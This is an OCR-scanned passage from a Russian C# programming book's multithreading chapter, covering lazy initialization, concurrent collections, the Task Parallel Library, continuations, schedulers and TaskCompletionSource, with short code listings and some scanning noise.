Глава 17 Volatile. Данные вопросы выходят за рамки этой книги; кроме того, на писанный таким образом код может казаться вполне рабочим, однаш отказывает под высокой нагрузкой (то есть как раз в тех случаях, когда он наиболее важен). Поэтому в большинстве случаев подобные приемь лучше не использовать. Старайтесь обходиться другими механизмам^ рассмотренными в этой главе, приберегая Interlocked на случай, когда нет каких-либо других альтернатив. Ленивая инициализация I Когда вам необходимо добиться, чтобы объект был доступен из не] скольких потоков, можно сделать этот объект неизменяемым (значщ его поля никогда не будут изменяться после создания). Если это уда лось, то зачастую можно обойтись и без синхронизации. Считывание данных из одного и того же места несколькими потоками одновремен-1 но обычно не представляет опасности. Сложности возникают липп| в случаях, когда данные необходимо изменять. Правда, есть и еще одн^ большая проблема: когда и как инициализировать разделяемый объект! Возможное решение — сохранить ссылку на объект в статическом полз инициализируемом из статического конструктора или инициализатор поля. CLR гарантирует, что статическая инициализация может быть вы- полнена для любого класса лишь однажды. Тем не менее в таком случи объект может быть создан раньше, чем вы планировали. Если вы хотите совершить на шаге статической инициализации достаточно много рабо- ты, это может отрицательно сказываться на длительности загрузки ва- шего приложения перед запуском. Возможно, вы попробуете сначала дождаться того случая, в которой нужен данный объект, и лишь потом инициализируете его. Такой под- ход называется ленивой инициализацией (lazy initialization). Реализован ее несложно — можно просто проверить поле и посмотреть, не равно Л1 оно null. Если оно не равно null, то мы инициализируем его, приме- нив lock, чтобы гарантировать, что только один поток пойдет создавал значение. Тем не менее именно в этой области разработчики часто стре мятся блеснуть интеллектом. К сожалению, порой возникают побочны! эффекты, доказывающие прямо противоположное. Ключевое слове lock действительно работает эффективно, но в данном случае можне достичь большего при помощи Interlocked. Однако тонкости переупо рядочивания доступалс^памяти в многопроцессорных системах таковы что ничего не стоит написать код, который работает быстро, выгляди! 872
Многопоточность красиво, но иногда отказывает. Чтобы справиться с этой наболевшей проблемой, в .NET 4.0 было добавлено два класса, позволяющих выпол- нять ленивую инициализацию без использования lock или других син- хронизационных примитивов, которые потенциально могут быть очень затратными. Более простой из этих классов называется Lazy<T>. Класс Lazy<T> Класс Lazy<T> предоставляет свойство Value типа Т и не будет созда- вать экземпляр, возвращаемый Value, до тех пор, пока кто-нибудь хотя бы один раз не считает свойство. По умолчанию класс Lazy<T> должен использовать безаргументный конструктор для Т, но вы можете предо- ставить аргумент обратного вызова, который позволит вам передать собственный метод для создания экземпляра. Lazy<T> справляется за вас с условиями гонки. На самом деле, вы можете сконфигурировать именно такой уровень многопоточной за- щиты, который вам требуется. Вы можете вообще отключить поддерж- ку многопоточности (передав в качестве аргумента конструктора либо false, либо LazyThreadSaf etyMode. None). Но в средах, специально рассчи- танных на многопоточность, вы можете выбрать и один из двух других возможных режимов перечисления LazyThreadSafetyMode. Такой режим определяет, что произойдет, если каждый из нескольких потоков попро- бует считать значение Value в первый раз и это произойдет практически одновременно. Режим PublicationOnly не пытается гарантировать, что только один поток будет создавать объект, — он лишь задействует какую- либо синхронизацию именно в той точке, где завершается создание объ- екта. Первый поток, который закончит создание или инициализацию, должен будет предоставить объект, а все другие объекты, созданные другими потоками, также приступившими к инициализации, окажутся сброшены. Как только значение будет доступно, все последующие по- пытки считать Value станут просто возвращать это созданное значение. При выборе другого режима, ExecutionAndPublication, система позво- лит лишь одному потоку приступить к созданию объекта. Такой подход может показаться более рациональным, однако у PublicationOnly есть потенциальное преимущество: поскольку этот метод не требует удер- живать какие-либо блокировки во время инициализации, вам сложнее будет допустить в коде баги, приводящие к взаимной блокировке. Вза- имные блокировки в данных условиях могут возникать, если сам ини- циализирующий код попробует приобрести какие-либо блокировки. Кроме того, PublicationOnly иначе реализует обработку ошибок. Если 873
Глава 17 при первой попытке инициализации выдается исключение, то другие потоки могут вступить в работу. В свою очередь, если одна и только одна попытка инициализации с применением ExecutionAndPublication провалится, то исключение сохранится и будет выдаваться при каждой попытке кода считать значение Value. Класс Lazy Initializer Другой класс для поддержки ленивой инициализации называется Lazylnitializer. Это статический класс, и вы работаете с ним исключи- тельно через его статические обобщенные методы. Он несколько более сложен в использовании, нежели Lazy<T>, но избавляет вас от необходи- мости выделять дополнительный объект кроме «лениво выделенного» экземпляра, который вам по-настоящему требовался. В листинге 17.16 показано, как работать с этим классом. Листинг 17.16. Использование класса Lazylnitializer public class Cache<T> { private static Dictionary<string, T> _d; public static IDictionary<string, T> Dictionary { get ( return Lazylnitializer.Ensurelnitialized(ref _d); I I Г Если поле еще не содержит значения, то метод Ensurelnitialized создает экземпляр типа аргумента — в данном случае Dictionary<string, Т>. В противном случае он возвратит то значение, которое уже нахо- дится в поле. Существуют и некоторые другие перегрузки. Вы можете передать обратный вызов, почти как с Lazy<T>. Также можно передать аргумент ref bool, позволяющий вам узнать, что требуется делать вы- зову: создавать новый экземпляр или возвращать существующее зна- чение. Статический инициализатор поля предоставил бы нам такой же вариант с одной и только одной попыткой инициализации, но мог бы остановиться на гораздо более раннем этапе жизненного цикла про- 874
Многопоточность цесса. В более сложном классе со множеством полей статическая ини- циализация даже может провоцировать излишнюю работу, поскольку такая инициализация осуществляется для всего класса и может создать объекты, которые так и не будут использованы. В результате может уве- личиться время, требуемое приложению для запуска. Lazylnitializer позволяет вам инициализировать отдельные поля именно тогда, когда их предполагается использовать, и гарантирует, что в коде будет выпол- няться лишь необходимая работа. Другие возможности поддержки параллелизма, предоставляемые в библиотеке классов В пространстве имен System.Collections.Concurrent определены различные коллекции, предоставляющие более надежные гарантии при работе в многопоточной среде, чем обычные коллекции. Подразумева- ется, что вы можете использовать их, не прибегая к каким-либо другим синхронизационным примитивам. Тем не менее будьте с ними осто- рожны. Как обычно в многопоточной среде, отдельно взятые операции могут иметь хорошо проработанные поведения, но иногда оказываться непригодными при решении многоступенчатых задач. Возможно, вам потребуется выполнять блокировку в более широкой области примене- ния, чтобы гарантировать согласованность. Но в некоторых случаях та- кие параллельные коллекции действительно оказываются именно тем, что вам требуется. В отличие от коллекций, не поддерживающих параллелизм, каж- дая из коллекций ConcurrentDictionary, ConcurrentBag, Concurrentstack и ConcurrentQueue обеспечивает изменение своего содержимого даже в условиях текущего перечисления ее содержимого (например, в ци- кле foreach). В словаре предоставляется живой перечислитель. Прила- гательное «живой» (live) в данном случае означает, что если значения добавляются в коллекцию или удаляются из нее, пока вы находитесь в процессе перечисления, перечислитель может показать вам некоторые из добавленных элементов и не показывать те, что уже удалены. Это, конечно, не гарантируется наверняка, и не в последнюю очередь потому, что если в многопоточном коде два события происходят в двух разных потоках, не всегда удается четко определить, какое из них произошло первым. В соответствии с законами относительности такой приоритет может зависеть от точки наблюдения. То есть не исключено, что обыч- ный перечислитель, казалось бы, вернул элемент, а на самом деле этот 875
Глава 17 элемент уже был удален из коллекции. Коллекции типа bag, stack и queue работают иначе. Перечислители каждой из них делают мгновен- ный снимок коллекции и перебирают данные уже в нем. Поэтому цикл foreach увидит такое множество содержимого, которое соответствует состоянию коллекции в какой-то момент в прошлом, пусть даже в на- стоящем состав этого множества уже мог измениться. Как уже было указано в главе 5, в параллельных коллекциях предо- ставляются API, похожие на аналогичные интерфейсы, не поддержива- ющие параллелизма. Но такие параллельные API содержат ряд допол- нительных членов, обеспечивающих атомарное добавление и удаление элементов. Еще одна часть библиотеки классов, которая может помочь вам справиться с параллелизмом, не требуя явного использования синхро- низационных примитивов, называется Rx (о ней было рассказано в гла- ве 11). В Rx содержатся различные операции, позволяющие объединять множественные асинхронные потоки ввода/вывода в один. Все эти опе- рации решают проблемы параллелизма за вас — как вы помните, каждый отдельно взятый наблюдаемый объект выдает наблюдателям элементы по одному в каждый момент времени. Rx принимает все необходимые меры, чтобы гарантировать, что эти правила не нарушаются даже при комбинировании ввода от многих параллельных потоков ввода/выво- да, выдающих элементы в параллельном режиме. Rx ни в коем случае не прикажет наблюдателю обработать более одной сущности в момент времени. Задачи Выше в этой главе было показано, как использовать класс Task для запуска работы в пуле потоков. Этот класс — не просто обертка для пула потоков. Task и родственные ему типы, образующие библиотеку для решения параллельных задач (Task Parallel Library, TPL), Moiyr применяться при реализации разнообразных сценариев. Библиотека TPL появилась в .NET 4.0, но стала существенно важнее в .NET 4.5, по- скольку в язык C# были добавлены новые асинхронные возможности (подробнее о них см. в главе 18). Эти возможности пригодны для непо- средственной работы с объектами задач. Потому абсолютное большин- ство API в библиотеке классов .NET Framework в этом релизе были расширены для обеспечения выполнения асинхронных операций на основе задач. 876
М ногопоточ ность Хотя использование задач — предпочтительный способ использова- ния пула потоков, их роль не сводится к участию в многопоточности. Их базовые абстракции гораздо более гибкие. Классы Task и Task<T> Ядро библиотеки TPL образуют два класса: Task и производный от него Task<T>. Базовый класс Task представляет определенную работу, на выполнение которой может уйти какое-то время. Task<T> расширяет класс Task и представляет работу, что после завершения дает результат типа Т. Необобщенный класс Task не предполагает такого результата. Он является асинхронным аналогом возвращаемого типа void. Обрати- те внимание: эти концепции могут использоваться и без связи с пото- ками. На выполнение большинства операций ввода/вывода требуется какое-то время, и уже в .NET 4.5 для них имеются API, построенные на основе задач. В листинге 17.17 используется асинхронный метод, вы- бирающий содержимое веб-страницы в форме строки. Поскольку он не может вернуть строку сразу же — ведь на загрузку веб-страниЦы потре- буется какое-то время, — он вместо этого возвращает задачу. Большинство API, основанных на задачах, следуют соглаше- ч нию о наименованиях, согласно которому их названия долж- ——ны заканчиваться на Async. Если существует соответствующий синхронный API, то он будет иметь такое же название, но без суффикса Async. Например, класс stream из пространства имен System, ю, предоставляющий доступ к потокам байтов, имеет метод Write для записи байтов в поток, и этот метод является синхронным (то есть сначала дожидается возвращения сво- ей работы, а затем возвращается). По состоянию на .NET 4.5 класс stream также предоставляет метод WriteAsync. Этот метод функционально аналогичен Write, но, будучи асинхронным, он возвращается, не дожидаясь завершения своей работы. Для представления работы он возвращает Task. Класс WebClient не вполне соответствует данному шаблону, поскольку у него уже был метод DownloadStringAsync, основанный на более старом шаблоне (а именно шаблоне ЕАР (Event-based Asynchronous Pattern, асинхронный шаблон, основанный на событиях)). По- этому для нового метода, основанного на задачах, пришлось выбрать немного иное название, DownloadStringTaskAsync. 877
Глава 17 Листинг 17.17. Загрузка из Интернета, выполняемая на основе задач var w = new WebClientO; string url "http://www.interact-sw.co.uk/iangblog/"; Task<string> webGetTask = w.DownloadStringTaskAsync(url); Метод DownloadStringTaskAsync не дожидается завершения загрузки, поэтому возвращается практически сразу же. Чтобы выполнить загруз- ку, компьютер должен отослать сообщение к нужному серверу, а потом просто ждать отклика. Пока запрос находится в пути, никакой работы в процессоре выполнять не нужно — работа появится только после при- хода отклика. Поэтому данная операция на протяжении большей части времени обработки запроса не требует привлечения потока. Таким об- разом, данный метод не оборачивает синхронную версию API при вызо- ве к Task.Factory.StartNew. На самом деле, чаще происходит обратное: синхронные версии большинства API ввода/вывода являются оберт- ками для реализаций, асинхронных по своей сути. Когда вы вызываете блокирующий API для выполнения ввода/вывода, он, как правило, вы- полняет «за кулисами» асинхронную операцию, после чего просто бло- кирует вызывающий поток до завершения этой работы. Итак, хотя классы Task и Task<T> очень упрощают создание задач, работающих путем запуска методов в потоках пула, эти классы также способны представлять асинхронные по сути операции, не требующие привлечения потока на протяжении большей части своего выполнения. Хотя официально такого термина и не существует, я называю такие опе- рации беспоточными задачами (threadless task), чтобы отличать их от задач, которые от начала и до конца выполняются в пуле потоков. Варианты создания задач Для создания новой задачи на базе потока можно воспользоваться методом StartNew либо из класса Task. Factory, либо из Task<T>.Factory, в зависимости от того, требуется ли вернуть результат от вашей задачи. Некоторые перегруженные варианты метода StartNew принимают аргу- мент перечислимого типа TaskCreationOptions. Этот метод позволяет' в некоторой степени управлять тем, как TPL занимается планировани-| ем задач. Флаг PreferFairness предлагает отказаться от FIFO-планирования, которое обычно применяется в пуле потоков при работе с задачами, а вместо этого пытается запустить задачу уже после того, как плани- рование всех задач будет закончено (очень похоже на унаследованное 878
Многопоточность поведение, получаемое при непосредственном использовании класса ThreadPool). Флаг LongRunning предупреждает библиотеку TPL о том, что на выполнение задачи может потребоваться довольно много времени. По умолчанию планировщик TPL оптимизируется для оперирования сравнительно небольшими кусками работы — не дольше нескольких секунд. Флаг LongRunning указывает, что на выполнение конкретной задачи может потребоваться больше времени; в таком случае, библио- тека TPL может изменить принципы планирования задач. Если запла- нировано слишком много долгосрочных задач, то они могут занять все потоки. Конечно, в очереди могут оказаться и некоторые значительно более краткие фрагменты работы, но на их завершение все равно может потребоваться много времени, так как им придется ждать в очереди до завершения сравнительно длительных задач, и лишь потом программа примется за них. Но если TPL известно, на завершение каких элементов работы требуется сравнительно немного времени, а какие, скорее всего, будут выполняться медленно, то библиотека может изменить приоритет элементов во избежание указанных проблем. Другие настройки TaskCreationOptions касаются взаимоотношений предок/потомок и работы с планировщиками. О них мы поговррим ниже. Статус задачи В ходе своего жизненного цикла задача проходит через ряд состоя- ний, и вы можете пользоваться свойством Status класса Task, чтобы определять ее текущее состояние. Это свойство возвращает значение перечислимого типа Taskstatus. Если задача завершается успешно, то это свойство вернет значение перечисления RanToCompletion. Если зада- ча завершится неуспешно, то будет возвращено значение Faulted. Вы мо- жете отменить задачу при помощи техники, описанной далее в разделе «Отмена». В таком случае статус задачи будет иметь значение Canceled. Существует несколько разновидностей протекания жизненного цикла задачи, где наиболее тривиальным является вариант Running. Он означает, что в настоящее время какой-то поток занят выполнени- ем задачи. Задачи, представляющие собой ввод/вывод, как правило, не требуют потока на время своего выполнения, поэтому никогда не ока- зываются в состоянии Running. Такая задача начинается с состояния WaitingForActivation и, как правило, непосредственно из него перехо- дит в одно из трех конечных состояний (RanToCompletion, Faulted или 879
Глава 17 Canceled). Задача, выполняемая в потоке, также может находиться в со- стоянии WaitingForActivation, но лишь тогда, когда что-то препятству- ет ее выполнению. Чаще всего это происходит, если вы приказываете начать выполнение данной задачи только после того, как завершится какая-то другая задача (о том, как это делается, я расскажу чуть ниже). Задача, предназначенная для выполнения в потоке, также может быть в состоянии WaitingToRun. Это означает, что задача находится в очереди и дожидается, пока какой-нибудь поток из пула не освободится. Между задачами можно выстраивать отношения вида предок/потомок. Если задача-предок уже завершилась, но успела создать некоторое количе- ство задач-потомков, которые еще выполняются, то такая задача-предок окажется в состоянии WaitingForChildrenToComplete. Наконец, есть еще состояние Created. С ним вам придется сталки- ваться нечасто, так как оно представляет собой предназначенную для выполнения в потоке задачу, которую вы уже создали, но еще не прика- зали ей выполняться. Такая ситуация никогда не возникает с задачами, создаваемыми методом StartNew, относящимся к фабрике задач, но вы можете столкнуться с подобным состоянием, если будете создавать но- вую задачу Task напрямую. У свойства Taskstatus есть множество тонкостей, большинство из которых обычно не представляют интереса. Так, в классе Task опреде- ляется ряд простых булевских свойств. Если вас интересует лишь то, не простаивает ли задача без работы (но не интересует, завершилась ли она успешно, неуспешно или была отменена), то можете воспользоваться свойством IsCompleted. Если вы хотите проверить факт отказа или от- мены, то, соответственно, применяйте свойства IsFaulted и IsCanceled. Получение результата Предположим, у вас есть Task<T>, либо предоставленная из API, либо полученная при помощи метода StartNew, относящегося к классу Task<T>.TaskFactory и предназначенного для создания задач, выполня- емых в потоках. Если задача завершается успешно, то вы, скорее все- го, хотите получить ее результат. Вполне логично, что его вы найдете в свойстве Result. Так, задача, созданная в листинге 17.17, предоставля- ет содержание веб-страницы в свойстве webGetTask. Result. Если вы попытаетесь считать свойство Result, когда задача еще не завершилась, она блокируется до тех пор, пока результат не будет до- ступен. Если вы работаете с обычной задачей Task, не возвращающей 880
М ногопоточность результата, и просто хотели бы дождаться ее завершения, достаточно вызвать Wait. Если задача закончится неуспешно, то Result выдаст ис- ключение (Wait так и делает). Впрочем, этот процесс не так прост, как может показаться на первый взгляд, подробнее мы обсудим его в разде- ле «Обработка ошибок». В C# 5.0 появился еще один способ получения результата — при помо- щи асинхронных возможностей языка. Им посвящена следующая глава, но в качестве анонса приведу пример листинга 17.18. Здесь показано, как получить результат задачи, выбирающей содержимое веб-страницы. От- мечу, что перед объявлением метода требуется поставить ключевое слово async — только так вы сможете использовать ключевое слово await. Листинг 17.18. Получение результатов задачи при помощи ключевого слова await string pageContent = await webGetTask; Возможно, этот прием не выглядит прорывным по сравнению с обыч- ным написанием webGetTask.Result, но, как будет показано в главе 18, этот код сложнее, чем кажется. Компилятор C# перестраивает данную инструкцию в управляемую обратными вызовами машину состояний. В результате вы можете получить результат, не блокируя вызывающий поток. (Если операция еще не завершена, поток возвратит управление вызывающей стороне, и оставшаяся часть метода будет выполнена в не- который более поздний момент, когда операция уже окажется завер- шена.) Если вы не используете асинхронные возможности языка, то как узнать, когда завершится задача? Result или Wait не оставляют вам вы- бора, кроме как просто сидеть и ждать, пока это произойдет. При этом они блокируют поток, но, если уж на то пошло, такой путь лишает нас всякой пользы от применения асинхронного API. Обычно, как только задача завершится, об этом требуется получить уведомление, для чего применяется продолжение (continuation). Продолжения При работе с задачами вы можете пользоваться различными пере- грузками метода, называемого ContinueWith. Этот метод создает допол- нительную задачу, предназначенную для выполнения в потоке; данная задача выполнится после завершения той, в которой вы вызвали метод ContinueWith (ваша первая задача может завершиться успешно, неу- 881
Глава 17 спешно или быть отменена). В листинге 17.19 мы так поступаем с зада- чей, созданной в листинге 17.17. Листинг 17.19. Продолжение webGetTask.ContinueWith(t => { string webContent t.Result; Console.WriteLine("Web page length: + webContent.Length); }); Задача-продолжение всегда предназначена для выполнения в пото- ке (независимо от того, была ли предшествующая ей задача предназна- чена для выполнения в потоке, для ввода/вывода или для чего-то еще). Задача-продолжение создается, как только вы вызовете ContinueWith, но ее готовность к запуску наступает только после завершения пред- шествующей задачи. Продолжение начинает работать в состоянии WaitingForActivation. Продолжение является полноценной задачей — метод 4 * ContinueWith возвращает Task<T> или Task, в зависимости Д?’*от того, возвращено ли значение предоставленным вами лямбда-выражением или делегатом. Можно задать и продол- жение для продолжения, если вы хотите объединить несколь- ко операций в последовательность. Метод, предоставляемый вами для продолжения (например, лямбда- выражение из листинга 17.19), получает в качестве аргумента предше- ствующую задачу. Я воспользовался продолжением, чтобы получить результат. В этом случае я также мог взять переменную webGetTask, кото- рая находится в области применения содержащего ее метода, поскольку относится к той же задаче. Тем не менее лямбда-выражение из листин- га 17.19 использует аргумент, но не какие бы то ни было переменные из вышестоящего метода. Так компилятору удается генерировать немного более эффективный код: не требуется создавать объект для содержания разделяемых переменных или экземпляр делегата для ссылки на такой объект. Таким образом, я могу с легкостью выделить этот код в обычный невстроенный метод, если сочту, что это улучшит удобочитаемость кода. Возможно, вы подумали, что в листинге 17.19 могут возникнуть условия гонки: что если загрузка закончится исключительно быстро, 882
Многопоточность настолько, что webGetTask управится GO-своей задачей раньше, чем код успеет прикрепить продолжение? Оказывается, это не имеет значе- ния — если вы вызываете ContinueWith в задаче, которая уже заверши- лась, то продолжение тем не менее окажется запущено. Просто запуск продолжения будет назначен немедленно. Можно прикрепить к задаче столько продолжений, сколько хотите. Все продолжения, что вы при- крепите до завершения задачи, окажутся назначены для выполнения на период после ее завершения. Если же вы прикрепили продолжение уже после того, как задача завершилась, то выполнение этого продолжения будет назначено немедленно. По умолчанию задача-продолжение назначается для выполнения в пуле потоков, как и любая другая задача. Но ряд аспектов ее выполне- ния вы можете изменить. Параметры продолжений Некоторые перегруженные варианты ContinueWith принимают аргу- мент перечислимого типа TaskContinuationOptions, управляющий тем, как именно будет назначаться ваша задача (и будет ли назначаться во- обще). Здесь доступны те же параметры, что и с TaskCreationOptions, а также другие, специфичные для работы с продолжениями. Можно указать, что продолжение должно выполняться лишь в опре- деленных обстоятельствах. Например, флаг OnlyOnRanToCompletion га- рантирует, что продолжение запустится лишь при успешном заверше- нии предшествующей ему задачи. Флаги OnlyOnFaulted и OnlyOnCanceled имеют подобные очевидные значения. В качестве альтернативы можно указать NotOnRanToCompletion — это означает, что продолжение запу- стится лишь при условии, что задача закончится неуспешно или ока- жется отменена. Можно создать несколько продолжений для одной задачи. кЛ 4 • Например, одно из них может применяться для обработки —успешного завершения, а другое (другие) — для обработки ошибок. Вы также можете указать ExecuteSynchronously. Этот * параметр означает, что планировщик не должен назначать продолжение как от- дельный механизм. Как правило, когда задача завершается, любые про- должения для этой задачи будут назначены для выполнения, и им при- 883
Глава 17 дется ждать, пока обычные рабочие механизмы пула потоков не начнут брать элементы из очереди и выполнять их. Если выбрать параметры, задаваемые по умолчанию, то ждать придется недолго. Если вы не ука- жете PreferFairness, то пул потоков будет работать в режиме LIFO («последним пришел — первым обслужен»). Это означает, что чем поз- же был назначен рабочий элемент, тем раньше он окажется выполнен. Правда, если операции завершения — это несущественно малая часть работы, то при планировании завершения как совершенно самостоя- тельного рабочего акта могут возникнуть неприемлемые издержки. По- тому ExecuteSynchronously позволяет вам выполнить задачу завершения в том же потоке из пула, где выполнялась предшествующая задача, - TPL запускает продолжения такого рода сразу же после завершения предшествующей задачи, еще до возврата потока в пул. Этот вариант следует использовать только тогда, когда продолжение должно срабо- тать очень быстро. В .NET 4.5 появился новый вариант продолжения: LazyCancellaticn. Он позволяет справиться со сложной ситуацией, которая иногда воз- никает с задачами, допускающими отмену (о них подробнее рассказано далее в разделе «Отмена»). Если вы отменяете операцию, то все ее про- должения по умолчанию должны быть выполнены немедленно. Если отменяемая операция не успела даже начаться (то есть она была готой к выполнению, но находилась в очереди и ожидала рабочего потока, кото- рый мог бы ее исполнить), то немедленная готовность всех продолжений к исполнению неудивительна. Удивителен тот случай, что вышеописан- ная ситуация возникает даже тогда, когда отмененная задача в момент отмены уже выполнялась. TPL не дожидается, пока выполнение отмег ненной задачи остановится, а сразу делает все продолжения готовыми к выполнению. Но в некоторых сценариях вы можете решить, что если возникла необходимость отменить запущенную задачу, но эта задача уж^ успела запуститься, то никаких ее продолжений выполнять не требуется, Именно такое поведение обеспечивается при помощи LazyCancellation. Другой способ управления тем, как выполняются задачи, связан с указанием планировщика. Планировщики Все задачи, предназначенные для работы в потоках, выполняются nocpeflCTBOM*TaskScheduler. По умолчанию вы получаете планировщии, предоставляемый библиотекой TPL, который обрабатывает поступи 884 ’
Многопоточность ющие задачи при помощи потоков из пула. Тем не менее существуют и планировщики других видов; вы даже можете написать собственный планировщик. Самые распространенные причины, по которым приходится вы- бирать иной планировщик кроме задаваемого по умолчанию, связаны с потоковой родственностью и обработкой соответствующих требо- ваний. Статический метод FromCurrentSynchronizationContext класса TaskScheduler возвращает планировщик с учетом текущего синхро- низационного контекста того потока, из которого вы вызываете метод. Этот планировщик будет выполнять всю работу именно в этом синхро- низационном контексте. Например, если вызвать FromCurrentSynchroni zationContext из потока пользовательского интерфейса, то полученныу в результате планировщик можно будет смело применять для выпол- нения задач, обновляющих пользовательский интерфейс. Как правило, такой планировщик удобно применять с продолжениями — можно за- пустить какую-либо основанную на задаче асинхронную работу, а по- том подключить к ней продолжение, обновляющее пользовательский интерфейс после завершения работы. В листинге 17.20 этот прием ис- пользован в файле с выделенным кодом, обслуживающим окно в WPF- приложении. Листинг 17.20. Планирование продолжения в потоке пользовательского интерфейса public partial class MainWindow Window { public MainWindow() { InitializeComponent(); } private TaskScheduler _uiScheduler = TaskScheduler. FrooCurrentSynchronizationContext (); private void FetchButtonClicked(object sender/- RoutedEventArgs e) { var w = new WebClientO; string url = "http://www.interact-sw.co.uk/iangblog/"; Task<string> webGetTask = w.DownloadStringTaskAsync(url); webGetTask.ContinueWith(t => { 885
Глава 17 string webContent = t.Result; outputTextBox.Text = webContent; }, _uiScheduler); } } Здесь для получения планировщика используется инициализатор поля. Конструктор элемента пользовательского интерфейса работа- ет в потоке пользовательского интерфейса, поэтому он (конструктор) получит планировщик, рассчитанный на работу в синхронизацион- ном контексте потока пользовательского интерфейса. После этого об- работчик щелчков мыши загружает веб-страницу при помощи метода DownloadStringTaskAsync, относящегося к классу WebClient. Он работа- ет асинхронно, потому не станет блокировать поток пользовательского интерфейса — а значит, приложение не будет зависать в процессе за- грузки. Этот метод задает продолжение для задачи, используя перегружен- ный вариант ContinueWith, принимающий Taskscheduler. Таким образом, кдгда завершается задача, занятая получением содержимого, лямбда- выражение, переданное ContinueWith, будет работать в потоке пользо- вательского интерфейса. В таком случае доступ к элементам пользова- тельского интерфейса является безопасным. В библиотеке классов .NET Framework предоставляется всего три встроенных планировщика. Во-первых, это задаваемый по умолчанию планировщик, использующий при работе пул потоков. Во-вторых - это только что продемонстрированный планировщик, работающий с уче- том синхронизационного контекста. Третий планировщик представлен в виде класса ConcurrentExclusiveSchedulerPair. Как понятно из назва- ния, фактически этот класс содержит два планировщика и доступ к ним осуществляется через свойства. Свойство Concurrentscheduler возвра- щает планировщик, который будет выполнять задачи параллельно, - во многом он подобен планировщику, задаваемому по умолчанию. Свой- ство ExclusiveScheduler возвращает планировщик, применяемый для выполнения по одной задаче в каждый момент времени. В ходе работы он временно приостанавливает второй планировщик. Это напоминает семантику синхронизации считывания/записи, описанную выше в этой главе: планировщик обеспечивает исключительность, когда это необхо- димо, а в остальных случаях поддерживает параллельное выполнение задач. 886
М ногопоточность Обработка ошибок Г- — Если поставленная задача закончилась неуспешно, объект Task пере- ходит в состояние Faulted. В любом случае с отказом задачи будет свя- зано как минимум одно исключение, но TPL допускает применение со- ставных задач — в каждой такой задаче содержится несколько подзадач. При выполнении составной задачи вполне может произойти несколько отказов, и корневая задача сообщит обо всех этих отказах. Объект Task определяет свойство Exception, относящееся к типу AggregateException. В главе 8 мы говорили о том, что AggregateException не только насле- дует свойство InnerException от базового типа Exception, но и опреде- ляет свойство InnerExceptions, возвращающее коллекцию исключений. Именно здесь вы найдете полный набор исключений, которые приве- ли к отказу конкретной задачи. Если задача была несоставной, то здесь всегда будет только одно исключение. Если вы попытаетесь получить свойство Result неудавшейся за- дачи или вызовете для нее Wait, то она выдаст то самое исключение AggregateException, которое вернула бы и от свойства Exception. Неудав- шаяся задача запоминает, использовали ли вы хотя бы один из этих чле- нов, и если вы этого не делали, то исключение считается незамеченным (unobserved), Цля отслеживания незамеченных исключений библиотека TPL использует финализацию, и если вы допускаете, чтобы такая задача оказалась недостижимой, класс Taskscheduler выдает свое статическое событие UnobservedTaskException. Это ваш последний шанс сообщить TPL, что вы заметили исключение (путем вызова метода SetObserved, от- носящегося к аргументу события). Если этого не сделать, то следующий шаг зависит от используемой вами версии .NET. В .NET 4.0 здесь всту- пает в игру заданная по умолчанию обработка исключений, действую- щая в рамках всего процесса (о ней мы говорили в главе 8). В результате нее процесс будет завершен. В .NET 4.5 и выше по умолчанию TPL не будет делать ничего кроме вызова события исключения. Причина это- го изменения заключается в том, что современное программирование преимущественно является асинхронным (благодаря новым языковым возможностям, описанным в главе 18), и политика, принятая в версии 4.0, может оказаться слишком строгой для современной разработки. Вы, будучи довольно опытным разработчиком, вряд ли хотели бы возвраще- ния такой строгой политики. Разумеется, если вы предпочитаете, чтобы необработанные исключения бесшумно исчезали, это тоже можно сде- лать. Строгую политику можно вновь активировать в файле Арр.config, содержащем следующий XML-код (листинг 17.21): 887
Глава 17 Листинг 17.21. Активация аварийного завершения при незамеченных исключениях <configuration> I <runtime> 1 <ThrowUnobservedTaskExceptions enabled="true'7> </runtime> </configuration> • i Иными словами, если вы выдаете исключение в задаче, предназна: ченной для выполнения в потоке, и вы это исключение не обработаете (обработать его можно или при помощи блока catch, не дающего кодл выйти из тела задачи, или получив это исключение от задачи), то вам процесс обрушит и .NET 4.0, и более поздние версии, в которых будет активирована такая настройка. Именно это обычно и происходит, когда какое-либо исключение остается необработанным. Разница заключа- ется в том, что, когда метод задачи, предназначенной для выполнения в потоке, выдает исключение, TPL не может сразу же узнать, будет это исключение обработано или нет. Придется подождать и посмотреть рассмотрит ли ваш код в конечном итоге эту задачу и заметит ли ио ключение. Вы определенно об этом узнаете лишь к тому моменту, кош интересующая нас задача уже окажется недосягаемой. До этого момент та в коде необходимо учитывать и такой вариант, что в конце концо! код может вернуть от задачи исключение, и это исключение прилета обработать. Таким образом, может возникнуть довольно длительная за держка между выдачей исключения от задачи и аварийным завершени ем процесса. TPL не будет знать о наличии ошибки до тех самых пор пока не произойдет сборка мусора. Пользовательские беспоточные задачи Многие API, обеспечивающие операции ввода/вывода, возврата ют беспоточные задачи. Если хотите, вы тоже можете так делать. Клао TaskCompletionSource<T> предоставляет способ создать Task<T>, которьг может и не иметь ассоциированного метода для работы в пуле потоко! а просто завершится, когда вы ей это прикажете. Здесь нет необобщенно го TaskCompletionSource, но он тут и не нужен. Task<T> наследует от Tasl поэтому вы просто можете выбрать любой тип в качестве аргумента. Болъ шинство разработчиков используют здесь TaskCompletionSource<object в случаях, когда не требуется предоставлять возвращаемого значения. Допустим, вы работаете с классом, который не предоставляет АР для работы с задачами, и вам нужно сделать обертку, предназначенну!
М ногопоточность именно для работы с задачами. Класс SmtpClient, которым я воспользо- вался в листинге 17.14, поддерживает более старый шаблон, основанный на работе с событиями, а не на работе с задачами. В листинге 17.22 этот API использован вместе с TaskCompletionSource<object> для предостав- ления обертки, пригодной для работы с задачами. Кстати, здесь дей- ствительно применяется два варианта написания: Canceled/Cancelled. TPL обычно использует Canceled, но в других API встречается и вари- ант Cancelled. Листинг 17.22. Использование класса TaskCompletionSource<T>. public static class SmtpAsyncExtensions { public static Task SendTaskAsync(this SmtpClient mailclient, string from, string recipients, string subject, string body) { var tcs = new TaskCompletionSource<object>(); SendCompletedEventHandler completionHandler = null; completionHandler = (s, e) => { mailclient.SendCompleted -= completionHandler; if (e.Cancelled) { tcs.SetCanceledO ; } else if (e.Error != null) { tcs.SetException(e.Error); } else { tcs.SetResult(null); } }; mailclient.SendCompleted += completionHandler; mailclient.SendAsync(from, recipients, subject, body, null); return tcs.Task;
